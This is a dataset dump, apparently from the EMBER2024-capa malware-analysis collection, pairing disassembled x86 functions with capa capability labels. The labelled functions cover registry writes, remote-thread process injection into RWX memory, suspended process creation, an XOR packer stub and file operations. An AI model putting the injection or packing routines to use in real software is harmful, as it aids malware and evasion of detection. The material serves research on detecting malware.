joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408078
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40814e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403870
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x408164
call fcn.00403910
mov eax, dword [ebp - 8]
call fcn.00403ac4
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403870
mov eax, dword [ebp - 0x10]
call fcn.004038c4
mov esi, eax
mov eax, dword [0x40a0ac]
call fcn.004038c4
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00403870
lea eax, [ebp - 0x14]
mov edx, dword [0x40a0ac]
call fcn.004038cc
mov eax, dword [ebp - 0x14]
call fcn.00403ac4
push eax
push 1
push 0
push 0x40819c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408155
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403774
ret

Function at 0x4081a8
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x4081dc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edx
pop ebx
ret
Function at 0x408930
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x408a8b
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x408a70
push 0x408a9c
push 0x408aa8
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x18], eax
push 0x408ab8
push 0x408aa8
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x14], eax
push 0x408ac4
push 0x408aa8
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x10], eax
push 0x40
push 0x3000
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x1c]
call fcn.004038c4
inc eax
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
mov dword [ebp - 0xc], esi
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x20]
call fcn.004038c4
inc eax
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x24]
call fcn.00403ac4
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x408a70
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x4088fc
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x408a70
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408a92
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00403774
ret
Function at 0x4091f0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], eax
xor eax, eax
push ebp
push 0x409311
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x64]
call fcn.0040702c
mov eax, dword [ebp - 0x64]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x60]
call fcn.00403870
mov ecx, dword [ebp - 0x60]
mov edx, dword [0x40a108]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
call fcn.00403910
mov eax, dword [ebp - 0x5c]
call fcn.00403ac4
push eax
push 0
push 0
call fcn.00404b78
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x409269
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x4092f6
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40a0d0]
call fcn.00403b1c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x409320
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.00405664
test al, al
jne 0x4092f6
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.00404cb8
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.00404cb8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x409330
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.00405664
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409318
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.00403774
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000f290
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x108], eax
push esi
mov esi, dword [esp + 0x114]
push edi
mov edi, dword [esp + 0x11c]
cmp dword [esi], 0xffffffff
jne 0x1000f377
xor eax, eax
mov dword [esi], 0
mov word [edi], ax
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x104
jl 0x1000f2e9
mov eax, 0xfffffc0d
jmp 0x1000f379
lea eax, [esp + 8]
push eax
push 0
push 0x10001f18
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x1000f307
mov eax, 0xffffec54
jmp 0x1000f379
lea ecx, [esp + 8]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f310
push 0x104
sub ecx, edx
push edi
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
push 0x42
push edi
call fcn.100277b0
test eax, eax
je 0x1000f377
cmp eax, 0xfffffffc
jne 0x1000f369
push esi
push 0x42
push edi
call fcn.100275d0
test eax, eax
jne 0x1000f369
push dword [esi]
call fcn.10027560
test eax, eax
jne 0x1000f369
push esi
push 0x42
push edi
call fcn.100277b0
test eax, eax
je 0x1000f377
cdq
xor eax, edx
sub eax, edx
mov eax, dword [eax*4 + 0x10001edc]
jmp 0x1000f379
xor eax, eax
mov ecx, dword [esp + 0x110]
pop edi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x10c
ret 8
Function at 0x10018cc0
Capabilities:
Delete file

Disassembly:
jmp 0x10028360
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
je 0x100283a2
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100283f0
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100283f0
cmp dword [esp + 4], 0xffffffff
je 0x100283f0
push eax
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4

Function at 0x10018cd0
Capabilities:
Move file

Disassembly:
jmp 0x100288f0
sub esp, 0x42c
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x428], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x430]
push esi
mov esi, dword [esp + 0x438]
je 0x1002893c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
pop esi
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.1004491e
add esp, 0x42c
ret 8
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0x220]
mov dword [esp + 0x220], 0
mov dword [esp + 0x224], 0
call fcn.10027f10
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
push dword [esp + 8]
push dword [esp + 0x220]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100289b5
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100289b5
cmp dword [esp + 4], 0xffffffff
je 0x100289b5
push eax
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x21c]
lea eax, [esp + 0x220]
mov dword [esp + 8], 0
cmp ecx, eax
je 0x100289eb
mov eax, ecx
shr eax, 0x10
test eax, eax
je 0x100289eb
cmp dword [esp + 0x218], 0xffffffff
je 0x100289eb
push ecx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x42c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x42c
ret 8
Function at 0x100281a0
Capabilities:
Create directory

Disassembly:
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
push esi
mov esi, dword [esp + 0x224]
je 0x100281ec
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop esi
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 8
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
cmp dword [esp + 0x214], 0x104
jl 0x10028224
push 0xa1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
jmp 0x10028231
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x10028256
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x10028256
cmp dword [esp + 4], 0xffffffff
je 0x10028256
push edx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 8

Function at 0x10028360
Capabilities:
Delete file

Disassembly:
jmp 0x10028360
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
je 0x100283a2
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100283f0
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100283f0
cmp dword [esp + 4], 0xffffffff
je 0x100283f0
push eax
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4

Function at 0x100285d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x21c
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x218], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
je 0x1002861a
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.1004491e
add esp, 0x21c
ret 8
push esi
push eax
push ecx
lea ecx, [esp + 0xc]
call fcn.10027d00
mov eax, dword [esp + 0x218]
push dword [esp + 8]
add eax, eax
shr eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 4]
mov esi, eax
call fcn.10027ea0
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x1002866c
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x1002866c
cmp dword [esp + 4], 0xffffffff
je 0x1002866c
push edx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x21c
ret 8
Function at 0x10028690
Capabilities:
Get file attributes

Disassembly:
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
je 0x100286d2
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x10028720
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x10028720
cmp dword [esp + 4], 0xffffffff
je 0x10028720
push eax
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4

Function at 0x10028740
Capabilities:
Get common file path

Disassembly:
sub esp, 0x21c
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x218], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
je 0x1002878a
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [esp + 0x218]
xor ecx, esp
call fcn.1004491e
add esp, 0x21c
ret 8
push esi
push eax
push ecx
lea ecx, [esp + 0xc]
call fcn.10027d00
mov eax, dword [esp + 0x218]
push dword [esp + 8]
add eax, eax
shr eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 4]
call fcn.10027ea0
mov esi, eax
test esi, esi
jle 0x100287bc
dec esi
lea ecx, [esp + 4]
call fcn.10027ea0
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
cmp eax, ecx
je 0x100287ea
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100287ea
cmp dword [esp + 4], 0xffffffff
je 0x100287ea
push eax
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x21c
ret 8
Function at 0x100288f0
Capabilities:
Move file

Disassembly:
jmp 0x100288f0
sub esp, 0x42c
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x428], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x430]
push esi
mov esi, dword [esp + 0x438]
je 0x1002893c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
pop esi
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.1004491e
add esp, 0x42c
ret 8
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0x220]
mov dword [esp + 0x220], 0
mov dword [esp + 0x224], 0
call fcn.10027f10
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
push dword [esp + 8]
push dword [esp + 0x220]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esi, eax
lea ecx, [esp + 0xc]
mov eax, dword [esp + 8]
cmp eax, ecx
je 0x100289b5
mov ecx, eax
shr ecx, 0x10
test ecx, ecx
je 0x100289b5
cmp dword [esp + 4], 0xffffffff
je 0x100289b5
push eax
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x21c]
lea eax, [esp + 0x220]
mov dword [esp + 8], 0
cmp ecx, eax
je 0x100289eb
mov eax, ecx
shr eax, 0x10
test eax, eax
je 0x100289eb
cmp dword [esp + 0x218], 0xffffffff
je 0x100289eb
push ecx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x42c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x42c
ret 8
Function at 0x10028ba0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x440
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x43c], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x450]
mov ecx, dword [esp + 0x454]
mov edx, dword [esp + 0x448]
push ebx
mov ebx, dword [esp + 0x448]
push ebp
mov ebp, dword [esp + 0x454]
push esi
mov esi, dword [esp + 0x464]
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
je 0x10028c06
push esi
push ecx
push eax
push ebp
push edx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
jmp 0x10028d9f
push 0xffffffffffffffff
push edx
lea ecx, [esp + 0x240]
mov dword [esp + 0x240], 0
mov dword [esp + 0x244], 0
call fcn.10027f10
lea eax, [esp + 0x10]
push eax
push 0
lea eax, [esp + 0x24]
push eax
push ebp
push dword [esp + 0x24c]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, eax
test edi, edi
jne 0x10028d71
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10028d56
cmp eax, 2
jbe 0x10028cd8
cmp eax, 7
jne 0x10028d56
mov eax, dword [esi]
lea ecx, [esp + 0x20]
shr eax, 1
push eax
push dword [esp + 0x1c]
call fcn.10027d00
mov eax, dword [esp + 0x234]
add eax, eax
shr eax, 1
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x28]
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 0x1c]
push ebp
push dword [esp + 0x24c]
push ebx
call eax
mov ecx, dword [esp + 0x10]
mov edi, eax
lea eax, [ecx + ecx]
mov dword [esi], eax
test edi, edi
je 0x10028cc5
lea ecx, [esp + 0x20]
call fcn.10027d80
jmp 0x10028d71
cmp dword [esp + 0x24], 0
je 0x10028d46
push ecx
lea ecx, [esp + 0x24]
call fcn.10027e40
jmp 0x10028d40
mov eax, dword [esi]
lea ecx, [esp + 0x20]
shr eax, 1
push eax
push dword [esp + 0x1c]
call fcn.10027d00
mov eax, dword [esp + 0x234]
add eax, eax
shr eax, 1
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x28]
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 0x1c]
push ebp
push dword [esp + 0x24c]
push ebx
call eax
mov ecx, dword [esp + 0x10]
mov edi, eax
lea eax, [ecx + ecx]
mov dword [esi], eax
test edi, edi
je 0x10028d30
lea ecx, [esp + 0x20]
call fcn.10027d80
jmp 0x10028d71
cmp dword [esp + 0x24], 0
je 0x10028d46
lea ecx, [esp + 0x20]
call fcn.10027ea0
mov ecx, eax
mov dword [esp + 0x10], ecx
lea eax, [ecx + ecx]
lea ecx, [esp + 0x20]
mov dword [esi], eax
call fcn.10027d80
jmp 0x10028d71
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push ebp
push dword [esp + 0x24c]
push ebx
call eax
mov edi, eax
mov ecx, dword [esp + 0x23c]
lea eax, [esp + 0x240]
cmp ecx, eax
je 0x10028d9f
mov eax, ecx
shr eax, 0x10
test eax, eax
je 0x10028d9f
cmp dword [esp + 0x238], 0xffffffff
je 0x10028d9f
push ecx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x44c]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1004491e
add esp, 0x440
ret 0x18
Function at 0x10028dc0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x42c
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x428], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x434]
push ebx
mov ebx, dword [esp + 0x434]
push ebp
mov ebp, dword [esp + 0x448]
push edi
mov edi, dword [esp + 0x450]
je 0x10028e19
push edi
push ebp
push dword [esp + 0x450]
push dword [esp + 0x450]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x10028f09
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0x22c]
mov dword [esp + 0x22c], 0
mov dword [esp + 0x230], 0
call fcn.10027f10
mov esi, dword [esp + 0x44c]
cmp esi, 1
je 0x10028e71
cmp esi, 2
je 0x10028e71
cmp esi, 7
je 0x10028e71
push edi
push ebp
push esi
push dword [esp + 0x454]
push dword [esp + 0x238]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
jmp 0x10028ed8
shr edi, 1
lea ecx, [esp + 0x10]
push edi
push ebp
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call fcn.10027f10
mov eax, dword [esp + 0x220]
inc eax
push eax
push dword [esp + 0x18]
push esi
push dword [esp + 0x454]
push dword [esp + 0x238]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x14]
mov esi, eax
lea eax, [esp + 0x18]
cmp ecx, eax
je 0x10028ed8
mov eax, ecx
shr eax, 0x10
test eax, eax
je 0x10028ed8
cmp dword [esp + 0x10], 0xffffffff
je 0x10028ed8
push ecx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x228]
lea eax, [esp + 0x22c]
cmp ecx, eax
je 0x10028f06
mov eax, ecx
shr eax, 0x10
test eax, eax
je 0x10028f06
cmp dword [esp + 0x224], 0xffffffff
je 0x10028f06
push ecx
call fcn.10046a84
add esp, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x434]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.1004491e
add esp, 0x42c
ret 0x18

Function at 0x10028f30
Capabilities:
Delete directory

Disassembly:
sub esp, 0x218
mov eax, dword [0x10057bf0]
xor eax, esp
mov dword [esp + 0x214], eax
cmp dword [0x1005b048], 0
mov eax, dword [esp + 0x21c]
je 0x10028f72
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [esp + 0x214]
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4
push esi
push 0xffffffffffffffff
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.10027f10
cmp dword [esp + 0x214], 0x104
jl 0x10028fab
push 0xa1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
jmp 0x10028fb7
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov esi, eax
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
cmp edx, eax
je 0x10028fdc
mov ecx, edx
shr ecx, 0x10
test ecx, ecx
je 0x10028fdc
cmp dword [esp + 4], 0xffffffff
je 0x10028fdc
push edx
call fcn.10046a84
add esp, 4
mov ecx, dword [esp + 0x218]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1004491e
add esp, 0x218
ret 4